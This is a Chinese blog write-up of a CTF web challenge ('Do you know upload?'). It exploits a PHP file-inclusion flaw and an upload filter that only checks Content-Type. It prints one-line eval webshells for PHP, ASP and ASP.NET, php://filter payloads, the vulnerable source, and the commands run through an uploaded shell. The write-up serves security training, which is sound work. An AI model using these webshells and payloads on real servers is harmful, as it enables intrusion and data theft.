CTF-i春秋-Web-文件包含漏洞、文件上传漏洞-Do you know upload?-第三届“百越杯”福建省高校网络空间安全大赛

2020.09.21

经验教训

  1. 文件包含漏洞,想到php://inputphp://filter/read=convert.base64-encode/resource=index.php
  2. 中国菜刀支持的一句话
<?php @eval($_POST['pass']);?>
ASP:    <%eval request("pass")%> 
ASP.NET:    <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

Do you know upload?

https://www.ichunqiu.com/battalion

  1. 打开链接,查看源码,发现提示消息,看起来是文件包含漏洞,想到php://inputphp://filter/read=convert.base64-encode/resource=index.php
  2. 构造payload,查看index.php源码,
  3. base64解码后如下,只贴php部分
<?php

include($_GET['file']); 
@$pic = $_FILES["file"]["name"];
@$pics = explode('.' , $pic);

if(@isset($_POST[submit])){
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/pjpeg"))){

        if ($_FILES["file"]["error"] > 0){
            echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }else{
            echo "Upload: " . $_FILES["file"]["name"] . "<br />";
            echo "Type: " . $_FILES["file"]["type"] . "<br />";
            echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
            //echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
            if (file_exists("upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " already exists. ";
            }else{
                move_uploaded_file($_FILES["file"]["tmp_name"],
                    "upload/" . $_FILES["file"]["name"]);
                echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
            }
        }
    }else{
        echo "<script>alert('文件类型不允许')</script>";
        echo "Invalid file";
    }
}else{
    // echo "Invalid file";
}
?>
  1. 以我的分析,他只是过滤了文件type,这个应该通过修改content-type就能改,试试
  2. 果然,只修改了一个参数就成功上传了

  3. 我们尝试访问上传的php文件
    • upload/decry.php?qwk=whoami,访问成功

      -upload/decry.php?qwk=ls ../,发现config.php
    • upload/decry.php?qwk=cat ../config.php,想看看有啥内容,竟然是空白的,这里不给看,但是爷有的是办法,用之前的文件包含漏洞🤓
    • ?file=php://filter/read=convert.base64-encode/resource=config.php,成功得到内容,转码后如下,看桑去我们的到来数据库的密码,该怎么利用呢
<?php
error_reporting(0);
session_start();
$servername = "localhost";
$username = "ctf";
$password = "ctfctfctf";
$database = "ctf";

// 创建连接
$conn = mysql_connect($servername,$username,$password) or die(" connect to mysql error");
mysql_select_db($database);
?>
  - 不知道怎么来操作数据库,本来想用中国菜刀,但是不知道为啥,菜刀一直连不上,那只能想点别的办法了,
  - 原来是这样,菜刀支持的一句话是这样的`<?php @eval($_POST('qwk')); ?>`,我多加了一个echo……
  - 根据之前得到的config文件内容配置菜刀
<T>MYSQL</T>
<H>localhost</H>
<U>ctf</U>
<P>ctfctfctf</P>
  - 配置成功了但是数据库里啥也没有,难不成被人删除了???

posted @ 2020-09-21 14:24  乔悟空  阅读(1663)  评论(0编辑  收藏  举报